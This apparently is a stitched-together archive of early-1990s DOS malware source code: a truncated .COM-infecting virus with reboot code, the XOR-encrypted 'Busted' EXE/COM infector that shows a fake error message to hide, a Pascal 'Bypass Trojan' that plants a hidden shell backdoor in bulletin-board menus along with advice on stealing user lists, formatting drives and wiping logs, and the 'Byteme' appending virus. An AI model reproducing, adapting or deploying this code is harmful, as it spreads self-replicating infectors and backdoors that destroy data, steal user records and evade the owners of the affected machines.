MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
nop
JB fix_time_stamp ;Quit, if read failed
CMP AX,3 ;Were we able to read all 3 bytes?
JNZ fix_time_stamp ;Quit, if not
MOV AX,OFFSET 4202H
xor cx,cx
xor dx,dx
INT 21H
nop
JB fix_time_stamp ;Quit, if it didn't work
MOV CX,AX ;DX:AX (long int) = file size
SUB AX,3 ;Subtract 3 (OK, since DX must be 0, here)
MOV [SI+jmp_dsp],AX ;Save the displacement in a JMP instruction
nop
ADD CX,OFFSET c_len_y
MOV DI,SI ;Point DI to virus data area
SUB DI,OFFSET c_len_x
;Point DI to reference vir_dat, at start of pgm
MOV [DI],CX ;Modify vir_dat reference:2nd, 3rd bytes of pgm
MOV AH,40H
MOV_CX virlen ;Length of virus, in bytes
nop
MOV DX,SI
SUB DX,OFFSET codelen ;Length of virus code, gives starting
; address of virus code in memory
INT 21H
nop
JB fix_time_stamp ;Jump if error
CMP AX,OFFSET virlen ;All bytes written?
JNZ fix_time_stamp ;Jump if error
MOV AX,OFFSET 4200H
xor cx,cx
xor dx,dx
INT 21H
nop
JB fix_time_stamp ;Jump if error
MOV AH,40H
MOV CX,3
nop
MOV DX,SI ;Virus data area
ADD DX,jmp_op ;Point to the reconstructed JMP
INT 21H
nop
fix_time_stamp:
MOV DX,[SI+ol_date] ;Old file date
nop
MOV CX,[SI+old_tim] ;Old file time
AND CX,OFFSET 0FFE0H
nop
OR CX,1FH ;Seconds = 31/30 min = 62 seconds
MOV AX,OFFSET 5701H
INT 21H
nop
MOV AH,3EH
INT 21H
nop
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att] ;Old Attributes
nop
MOV DX,wrk_spc
ADD DX,SI ;DX points to \path\name in workspace
INT 21H
nop
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
nop
MOV DS,[SI+old_dts]
INT 21H
nop
POP DS
nop
quit:
POP CX
XOR AX,AX
XOR BX,BX
xor cx,cx
XOR DX,DX
XOR SI,SI
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH
vir_dat EQU $
olddta_ DW 0 ;Old DTA offset
olddts_ DW 0 ;Old DTA segment
oldtim_ DW 0 ;Old Time
oldate_ DW 0 ;Old date
oldatt_ DW 0 ;Old file attributes
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H ;Start of JMP instruction
jmpdsp_ DW 0 ;The displacement part
fspec_ DB '*.COM',0
pathad_ DW 0 ;Path address
namptr_ DW 0 ;Pointer to start of file name
envstr_ DB 'PATH=' ;Find this in the environment
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0) ;Temporary DTA goes here
dtatim_ DW 0,0 ;Time stamp in DTA
dtalen_ DW 0,0 ;File length in the DTA
dtanam_ DB 0Dh dup (0) ;File name in the DTA
reboot_ DB 0EAH,0F0H,0FFH,0FFH,0FFH ;Five byte FAR JMP to FFFF:FFF0
_msg db 158,186,189,189,196,107,191,179,180,190,107,174,186,184,187,192
db 191,176,189,107,180,190,107,185,186,107,183,186,185,178,176,189
db 107,186,187,176,189,172,191,180,186,185,172,183,107,175,192,176
db 107,191,186,107,172,185,107,186,192,191,173,189,176,172,182,107
db 186,177,088,141,192,190,179,180,190,179,180,189,186,088,147,172
db 193,176,107,172,107,153,148,142,144,107,175,172,196,121,121,121
db 088
db 0
_msg2 db 161,148,155,144,157,180,197,176,189,119,107,158,191,189,172,180
db 185,107,141,085,088
db 115,174,116,107,124,132,132,125,119,107,158,191,180,185,178,189
db 172,196,122,161,148,155,144,157,085,088
db 147,172,187,187,196,107,161,172,183,176,185,191,180,185,176,190
db 107,143,172,196,108,085,088
db 0
lst_byt EQU $ ;All lines that assemble into code are
; above this one
virlen = lst_byt - v_start ;Length, in bytes, of the entire virus
codelen = vir_dat - v_start ;Length of virus code, only
c_len_x = vir_dat - v_start - 2 ;Displacement for self-modifying code
c_len_y = vir_dat - v_start + 100H ;Code length + 100h, for PSP
old_dta = olddta_ - vir_dat ;Displacement to the old DTA offset
old_dts = olddts_ - vir_dat ;Displacement to the old DTA segment
old_tim = oldtim_ - vir_dat ;Displacement to old file time stamp
ol_date = oldate_ - vir_dat ;Displacement to old file date stamp
old_att = oldatt_ - vir_dat ;Displacement to old attributes
first_3 = first3_ - vir_dat ;Displacement-1st 3 bytes of old .COM
jmp_op = jmpop_ - vir_dat ;Displacement to the JMP opcode
jmp_dsp = jmpdsp_ - vir_dat ;Displacement to the 2nd 2 bytes of JMP
f_spec = fspec_ - vir_dat ;Displacement to the "*.COM" string
path_ad = pathad_ - vir_dat ;Displacement to the path address
nam_ptr = namptr_ - vir_dat ;Displacement to the filename pointer
env_str = envstr_ - vir_dat ;Displacement to the "PATH=" string
wrk_spc = wrkspc_ - vir_dat ;Displacement to the filename workspace
dta = dta_ - vir_dat ;Displacement to the temporary DTA
dta_tim = dtatim_ - vir_dat ;Displacement to the time in the DTA
dta_len = dtalen_ - vir_dat ;Displacement to the length in the DTA
dta_nam = dtanam_ - vir_dat ;Displacement to the name in the DTA
reboot = reboot_ - vir_dat ;Displacement to the 5 byte reboot code
msg = _msg - vir_dat ; Disp. to 1st msg
msg2 = _msg2 - vir_dat ; Disp. to 2nd msg
CODE ENDS
END VCODE

@@ -0,0 +1,225 @@
cr equ 13 ; Carriage return ASCII code
lf equ 10 ; Linefeed ASCII code
tab equ 9 ; Tab ASCII code
code_start equ 100h ; Address right after PSP in memory
dta equ 80h ; Addr of default disk transfer area
datestamp equ 24 ; Offset in DTA of file's date stamp
timestamp equ 22 ; Offset in DTA of file's time stamp
filename equ 30 ; Offset in DTA of ASCIIZ filename
attribute equ 21 ; Offset in DTA of file attribute
code segment 'code' ; Open code segment
assume cs:code,ds:code ; One segment for both code & data
org code_start ; Start code image after PSP
;---------------------------------------------------------------------
; All executable code is contained in boundaries of procedure "main".
; The following code, until the start of "virus_code", is the non-
; encrypted CMT portion of the code to load up the real program.
;---------------------------------------------------------------------
main proc near ; Code execution begins here
call encrypt_decrypt ; Decrypt the real virus code
jmp random_mutation ; Put the virus into action
encrypt_val1 db 00h ; Hold value to encrypt by here
encrypt_val2 db 00h
; ---------- Encrypt, save, and restore the virus code -----------
infect_file:
mov cx,handle ; Get the handle
push cx ; Save it on the stack
call encrypt_decrypt ; Encrypt most of the code
pop bx ; Get back the handle
mov cx,endvir-main ; Total number of bytes to write
mov dx,code_start ; Buffer where code starts in memory
mov ah,40h ; DOS write-to-handle service
int 21h ; Write the virus code into the file
call encrypt_decrypt ; Restore the code as it was
ret ; Go back to where you came from
; --------------- Encrypt or decrypt the code ----------------
encrypt_decrypt:
mov bx,offset virus_code ; Get address to start encrypt/decrypt
xor_loop: ; Start cycle here
mov al,[bx] ; Get the current byte
xor al,encrypt_val1 ; Engage/disengage XOR scheme on it
mov [bx],al ; Put it back where we got it
inc bx ; Move BX ahead a byte
cmp bx,offset virus_code+(endvir-main) ; Are we at the end?
je xor_nd
mov al,[bx]
xor al,encrypt_val2
mov [bx],al
inc bx
cmp bx,offset virus_code+(endvir-main)
jle xor_loop ; If not, do another cycle
xor_nd:
ret ; and go back where we came from
;-----------------------------------------------------------------------
; The rest of the code from here on remains encrypted until run-time,
; using a fundamental XOR technique that changes via CMT.
;-----------------------------------------------------------------------
virus_code:
;----------------------------------------------------------------------------
; All strings are kept here in the file, and automatically encrypted.
; Please don't be a lamer and change the strings and say you wrote a virus.
; Because of Cybernetic Mutation Technology(tm), the CRC of this file often
; changes, even when the strings stay the same.
;----------------------------------------------------------------------------
exe_filespec db "*.EXE",0
com_filespec db "*.COM",0
newdir db "..",0
fake_msg db cr,lf,"Program too big to fit in memory$"
virus_msg db cr,lf,tab,"Busted!$"
virus_info db "This is based on Leprosy-B. Thanx PCM2"
viral_tag db "Busted, Strain A, version 1.0"
viral_tag_2 db "By ˜€×@&î·³½$ (Psychogenius), September '91"
compare_buf db 20 dup (?) ; Buffer to compare files in
files_found db ?
files_infected db ?
orig_time dw ?
orig_date dw ?
orig_attr dw ?
handle dw ?
success db ?
random_mutation: ; First decide if virus is to mutate
mov ah,2ch ; Set up DOS function to get time
int 21h
cmp encrypt_val1,0 ; Is this a first-run virus copy?
je install_val ; If so, install whatever you get.
install_val:
cmp dl,0 ; Will we be encrypting using zero?
je random_mutation ; If so, get a new value.
mov encrypt_val1,dl ; Otherwise, save the new value
mov encrypt_val2,dh
find_extension: ; Locate file w/ valid extension
mov files_found,0 ; Count infected files found
mov files_infected,4 ; BX counts file infected so far
mov success,0
find_exe:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset exe_filespec ; Check for .EXE extension first
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je find_com ; If not, nothing more to do
call find_healthy ; Otherwise, try to find healthy .EXE
find_com:
mov cx,00100111b ; Look for all flat file attributes
mov dx,offset com_filespec ; Check for .COM extension now
mov ah,4eh ; Call DOS find first service
int 21h
cmp ax,12h ; Are no files found?
je chdir ; If not, step back a directory
call find_healthy ; Otherwise, try to find healthy .COM
chdir: ; Routine to step back one level
mov dx,offset newdir ; Load DX with address of pathname
mov ah,3bh ; Change directory DOS service
int 21h
dec files_infected ; This counts as infecting a file
jnz find_exe ; If we're still rolling, find another
jmp exit_virus ; Otherwise let's pack it up
find_healthy:
mov bx,dta ; Point BX to address of DTA
mov ax,[bx]+attribute ; Get the current file's attribute
mov orig_attr,ax ; Save it
mov ax,[bx]+timestamp ; Get the current file's time stamp
mov orig_time,ax ; Save it
mov ax,[bx]+datestamp ; Get the current file's data stamp
mov orig_date,ax ; Save it
mov dx,dta+filename ; Get the filename to change attribute
mov cx,0 ; Clear all attribute bytes
mov al,1 ; Set attribute sub-function
mov ah,43h ; Call DOS service to do it
int 21h
mov al,2 ; Set up to open handle for read/write
mov ah,3dh ; Open file handle DOS service
int 21h
mov handle,ax ; Save the file handle
mov bx,ax ; Transfer the handle to BX for read
mov cx,20 ; Read in the top 20 bytes of file
mov dx,offset compare_buf ; Use the small buffer up top
mov ah,3fh ; DOS read-from-handle service
int 21h
mov bx,offset compare_buf ; Adjust the encryption value
mov ah,encrypt_val1 ; for accurate comparison
mov [bx+6],ah
mov si,code_start ; One array to compare is this file
mov di,offset compare_buf ; The other array is the buffer
mov ax,ds ; Transfer the DS register...
mov es,ax ; ...to the ES register
cld
repe cmpsb ; Compare the buffer to the virus
jne healthy ; If different, the file is healthy!
call close_file ; Close it up otherwise
inc files_found ; Chalk up another fucked up file
continue_search:
mov ah,4fh ; Find next DOS function
int 21h ; Try to find another same type file
cmp ax,12h ; Are there any more files?
je no_more_found ; If not, get outta here
jmp find_healthy ; If so, try the process on this one!
no_more_found:
ret ; Go back to where we came from
healthy:
mov bx,handle ; Get the file handle
mov ah,3eh ; Close it for now
int 21h
mov ah,3dh ; Open it again, to reset it
mov dx,dta+filename
mov al,2
int 21h
mov handle,ax ; Save the handle again
call infect_file ; Infect the healthy file
call close_file ; Close down this operation
inc success ; Indicate we did something this time
dec files_infected ; Scratch off another file on agenda
jz exit_virus ; If we're through, terminate
jmp continue_search ; Otherwise, try another
ret
close_file:
mov bx,handle ; Get the file handle off the stack
mov cx,orig_time ; Get the date stamp
mov dx,orig_date ; Get the time stamp
mov al,1 ; Set file date/time sub-service
mov ah,57h ; Get/Set file date and time service
int 21h ; Call DOS
mov bx,handle
mov ah,3eh ; Close handle DOS service
int 21h
mov cx,orig_attr ; Get the file's original attribute
mov al,1 ; Instruct DOS to put it back there
mov dx,dta+filename ; Feed it the filename
mov ah,43h ; Call DOS
int 21h
ret
exit_virus:
cmp files_found,6 ; Are at least 6 files infected?
jl print_fake ; If not, keep a low profile
cmp success,0 ; Did we infect anything?
jg print_fake ; If so, cover it up
mov ah,09h ; Use DOS print string service
MOV DX, OFFSET virus_msg ; Print "Busted!"
jmp terminate
print_fake:
mov ah,09h ; Use DOS to print fake error message
mov dx,offset fake_msg
int 21h
terminate:
mov ah,4ch ; DOS terminate process function
int 21h ; Call DOS to get out of this program
endvir LABEL BYTE
main endp
code ends
end main
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ
; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
@@ -0,0 +1,220 @@
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> Bypass Trojan v1.0 and v2.0 :
Created by: Mechanix
Released : October 1991
Introduction:
Well this is basically another backdoor creator for Telegard Systems. This
one is relatively fullproof except for the fact that it requires REMOTE.BAT to
exist on the target system, or it will not function properly. However, the
Bypass Trojan v2.0 takes care of this problem as it creates REMOTE.BAT on the
target system, if it doesn't exist already. This is why I am also releasing
the source (in Turbo Pascal) to the Bypass Trojan v1.0. You will find the
source after the description.
Description:
This trojan will scan all directories on drives C: to E: in search of the
MAIN.MNU file. Then it will append a few lines to the file as to create a
hidden command to shell to DOS. It also checks to see if the MAIN.MNU file is
Read-Only or Hidden, and will remove these attributes long enough to make the
changes. It will also check for write-protection. The source can also be
changed as to modify any of the .MNU files.
Notes:
This trojan uses a basic Turbo Pascal cycle to scan all directories and
files, and thus the source can be modified for a number of uses. As for a good
procedure to nail the board once the shell to DOS command has been
implemented, I recommend the following:
- First and foremost, use a PBX or other phreaking trick to avoid the
annoying Maestro phone.
- Call preferably around 4-5 am, when the SysOp is almost sure not to be
around.
- Use the shuttle password (if there is one) and then apply as a NEW user
after you have bypassed the shuttle password. This will usually bypass CBV
utilities.
- Shell to DOS in the correct menu.
- Turn your capture mode on, as to record everything you see.
- Go get the user list and ZIP it up with another ZIP file that is already
online. This way you can D/L it later when you log on again. Or capture it
through a text file viewing utility if you find one on the system.
- If you don't want the user list, and just want to crash the board, then
FORMAT C: should do the trick. Or uses DEBUG to rearrange his FATs. Or if
it's a H/P board, use one of the online virii or trojans to screw him. That
will teach him, and you get to test them out.
- If you decide to only take the user list and let the board live, then go
edit the logs as to remove all evidence of your actions. If there's a spool
to printer log, you're in trouble.
- If you could not bypass CBV, then find that utility's log and edit out
your number.
- Lastly, take off the DOS shell command from the menu you modified in the
first place, unless you want to use it again, but this is risky.
Well that's the method I've been using, but the choice is your's.
Source:
PROGRAM BYPASS1;
{ Bypass Trojan v1.0 }
{ Created by: Hï!X [NuKE] }
{ Created on: 27/09/91 }
USES DOS;
VAR
Target : SEARCHREC;
T : TEXT;
PROCEDURE DIRECT (PATH : STRING);
VAR
PATH2 : STRING;
INFO : SEARCHREC;
INFO2 : SEARCHREC;
F : TEXT;
BEGIN
Findfirst (PATH + '\*.*',$10,INFO);
WHILE DOSERROR = 0 DO
BEGIN
IF (INFO.ATTR = $10) AND (INFO.NAME[1] <> '.') THEN
Begin
PATH2 := PATH + '\' + INFO.NAME;
Chdir (PATH2);
Findfirst ('MAIN.MNU',($3F - $10),INFO2); { Or any .MNU you wish }
WHILE DOSERROR = 0 DO
Begin
ASSIGN (F,INFO2.NAME);
Setfattr (F,$20);
Append (F);
Writeln (F,' ');
Writeln (F,' ');
Writeln (F,'#'); { Key to add }
Writeln (F,' ');
Writeln (F,'-$');
Writeln (F,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password }
Writeln (F,' ');
Writeln (F,' ');
Writeln (F,' ');
Writeln (F,'#'); { Key to add }
Writeln (F,' ');
Writeln (F,'D-');
Writeln (F,'REMOTE.BAT');
Close (F);
Findnext(INFO2);
End;
DIRECT (PATH2);
End;
Findnext(INFO);
End;
END;
PROCEDURE FILEFIND (DRIVE : CHAR);
BEGIN
Chdir (DRIVE + ':\');
Findfirst ('MAIN.MNU',($3F - $10),Target); { Or any .MNU you wish }
WHILE DOSERROR = 0 DO
Begin
ASSIGN (T,Target.name);
Setfattr (T,$20);
{$I-}
Append (T);
{$I+}
IF IORESULT = 0 THEN
Begin
Writeln (T,' ');
Writeln (T,'#'); { Key to add }
Writeln (T,' ');
Writeln (T,'-$');
Writeln (T,'NUKEWAR;PW: ;^8WRONG - access denied!'); { Password }
Writeln (T,' ');
Writeln (T,' ');
Writeln (T,' ');
Writeln (T,'#'); { Key to add }
Writeln (T,' ');
Writeln (T,'D-');
Writeln (T,'REMOTE.BAT');
Close (T);
End
ELSE
Exit;
Findnext (Target);
End;
DIRECT (DRIVE + ':');
END;
BEGIN
{$I-}
Chdir ('C:\');
{$I+}
IF IORESULT = 0 THEN
FILEFIND ('C');
{$I-}
Chdir ('D:\');
{$I+}
IF IORESULT = 0 THEN
FILEFIND ('D');
{$I-}
Chdir ('E:\');
{$I+}
IF IORESULT = 0 THEN
FILEFIND ('E');
END.
Well there it is. Please feel free to improve it in anyway you like. I will
soon release the source to Bypass Trojan v2.0 which checks for REMOTE.BAT and
creates one if needed. The REMOTE.BAT file also has the Hidden attribute to
try and hide it from the SysOp. The reason for this, is that smart SysOps, and
any of those who are reading this, rename the REMOTE.BAT or remove it, to
avoid this sort of trojan. The original release is for a modem on Com2. If you
wish to have the trojan for another device, either edit it in the .EXE, or
contact me (Mechanix) on any [NuKE] board, and I will recompile the source for
you with another device.
Mechanix [NuKE]
;****************************************************************************;
; ;
; -=][][][][][][][][][][][][][][][=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] [=- ;
; -=] For All Your H/P/A/V Files [=- ;
; -=] SysOp: Peter Venkman [=- ;
; -=] [=- ;
; -=] +31.(o)79.426o79 [=- ;
; -=] P E R F E C T C R I M E [=- ;
; -=][][][][][][][][][][][][][][][=- ;
; ;
; *** NOT FOR GENERAL DISTRIBUTION *** ;
; ;
; This File is for the Purpose of Virus Study Only! It Should not be Passed ;
; Around Among the General Public. It Will be Very Useful for Learning how ;
; Viruses Work and Propagate. But Anybody With Access to an Assembler can ;
; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ;
; Experience can Turn it Into a far More Malevolent Program Than it Already ;
; Is. Keep This Code in Responsible Hands! ;
; ;
;****************************************************************************;
@@ -0,0 +1,281 @@
; Byteme Appending Note Vir -- Byte Me, Dude....
; Written by The Weasel!
virus_type equ 0 ; Appending Virus
is_encrypted equ 0 ; We're not encrypted
tsr_virus equ 0 ; We're not TSR
code segment byte public
assume cs:code,ds:code,es:code,ss:code
org 0100h
main proc near
db 0E9h,00h,00h ; Near jump (for compatibility)
start: call find_offset ; Like a PUSH IP
find_offset: pop bp ; BP holds old IP
sub bp,offset find_offset ; Adjust for length of host
lea si,[bp + buffer] ; SI points to original start
mov di,0100h ; Push 0100h on to stack for
push di ; return to main program
movsw ; Copy the first two bytes
movsb ; Copy the third byte
mov di,bp ; DI points to start of virus
mov bp,sp ; BP points to stack
sub sp,128 ; Allocate 128 bytes on stack
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer on stack
int 021h
lea si,[di + data00] ; SI points to data
mov ah,0Eh ; BIOS display char. function
display_loop: lodsb ; Load the next char. into AL
or al,al ; Is the character a null?
je disp_strnend ; If it is, exit
int 010h ; BIOS video interrupt
jmp short display_loop ; Do the next character
disp_strnend:
call search_files ; Find and infect a file
com_end: pop dx ; DX holds original DTA address
mov ah,01Ah ; DOS set DTA function
int 021h
mov sp,bp ; Deallocate local buffer
xor ax,ax ;
mov bx,ax ;
mov cx,ax ;
mov dx,ax ; Empty out the registers
mov si,ax ;
mov di,ax ;
mov bp,ax ;
ret ; Return to original program
main endp
search_files proc near
push bp ; Save BP
mov bp,sp ; BP points to local buffer
sub sp,64 ; Allocate 64 bytes on stack
mov ah,047h ; DOS get current dir function
xor dl,dl ; DL holds drive # (current)
lea si,[bp - 64] ; SI points to 64-byte buffer
int 021h
mov ah,03Bh ; DOS change directory function
lea dx,[di + root] ; DX points to root directory
int 021h
call traverse ; Start the traversal
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 64] ; DX points to old directory
int 021h
mov sp,bp ; Restore old stack pointer
pop bp ; Restore BP
ret ; Return to caller
root db "\",0 ; Root directory
search_files endp
traverse proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first function
mov cx,00010000b ; CX holds search attributes
lea dx,[di + all_files] ; DX points to "*.*"
int 021h
jc leave_traverse ; Leave if no files present
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
jne another_dir ; If not, try again
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
je another_dir ;If so, keep going
mov ah,03Bh ; DOS change directory function
lea dx,[bp - 98] ; DX points to new directory
int 021h
call traverse ; Recursively call ourself
pushf ; Save the flags
mov ah,03Bh ; DOS change directory function
lea dx,[di + up_dir] ; DX points to parent directory
int 021h
popf ; Restore the flags
jnc done_searching ; If we infected then exit
another_dir: mov ah,04Fh ; DOS find next function
int 021h
jnc check_dir ; If found check the file
leave_traverse:
lea dx,[di + com_mask] ; DX points to "*.COM"
call find_files ; Try to infect a file
done_searching: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
up_dir db "..",0 ; Parent directory name
all_files db "*.*",0 ; Directories to search for
com_mask db "*.COM",0 ; Mask for all .COM files
traverse endp
find_files proc near
push bp ; Save BP
mov ah,02Fh ; DOS get DTA function
int 021h
push bx ; Save old DTA address
mov bp,sp ; BP points to local buffer
sub sp,128 ; Allocate 128 bytes on stack
push dx ; Save file mask
mov ah,01Ah ; DOS set DTA function
lea dx,[bp - 128] ; DX points to buffer
int 021h
mov ah,04Eh ; DOS find first file function
mov cx,00100111b ; CX holds all file attributes
pop dx ; Restore file mask
find_a_file: int 021h
jc done_finding ; Exit if no files found
call infect_file ; Infect the file!
jnc done_finding ; Exit if no error
mov ah,04Fh ; DOS find next file function
jmp short find_a_file ; Try finding another file
done_finding: mov sp,bp ; Restore old stack frame
mov ah,01Ah ; DOS set DTA function
pop dx ; Retrieve old DTA address
int 021h
pop bp ; Restore BP
ret ; Return to caller
find_files endp
infect_file proc near
mov ah,02Fh ; DOS get DTA address function
int 021h
mov si,bx ; SI points to the DTA
mov byte ptr [di + set_carry],0 ; Assume we'll fail
cmp word ptr [si + 01Ah],(65279 - (finish - start))
jbe size_ok ; If it's small enough continue
jmp infection_done ; Otherwise exit
size_ok: mov ax,03D00h ; DOS open file function, r/o
lea dx,[si + 01Eh] ; DX points to file name
int 021h
xchg bx,ax ; BX holds file handle
mov ah,03Fh ; DOS read from file function
mov cx,3 ; CX holds bytes to read (3)
lea dx,[di + buffer] ; DX points to buffer
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
xchg dx,ax ; Faster than a PUSH AX
mov ah,03Eh ; DOS close file function
int 021h
xchg dx,ax ; Faster than a POP AX
sub ax,finish - start + 3 ; Adjust AX for a valid jump
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
je infection_done ; If equal then exit
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
add ax,finish - start ; Re-adjust to make the jump
mov word ptr [di + new_jump + 1],ax ; Construct jump
mov ax,04301h ; DOS set file attrib. function
xor cx,cx ; Clear all attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
mov ax,03D02h ; DOS open file function, r/w
int 021h
xchg bx,ax ; BX holds file handle
mov ah,040h ; DOS write to file function
mov cx,3 ; CX holds bytes to write (3)
lea dx,[di + new_jump] ; DX points to the jump we made
int 021h
mov ax,04202h ; DOS file seek function, EOF
cwd ; Zero DX _ Zero bytes from end
mov cx,dx ; Zero CX /
int 021h
mov ah,040h ; DOS write to file function
mov cx,finish - start ; CX holds virus length
lea dx,[di + start] ; DX points to start of virus
int 021h
mov ax,05701h ; DOS set file time function
mov cx,[si + 016h] ; CX holds old file time
mov dx,[si + 018h] ; DX holds old file date
int 021h
mov ah,03Eh ; DOS close file function
int 021h
mov ax,04301h ; DOS set file attrib. function
xor ch,ch ; Clear CH for file attribute
mov cl,[si + 015h] ; CX holds file's old attributes
lea dx,[si + 01Eh] ; DX points to victim's name
int 021h
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
ret ; Return to caller
set_carry db ? ; Set-carry-on-exit flag
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
new_jump db 0E9h,?,? ; New jump to virus
infect_file endp
data00 db "BYTE M. ",0

vcl_marker db "[VCL]",0 ; VCL creation marker
note db "Byte Me, Loser..."
finish label near
code ends
end main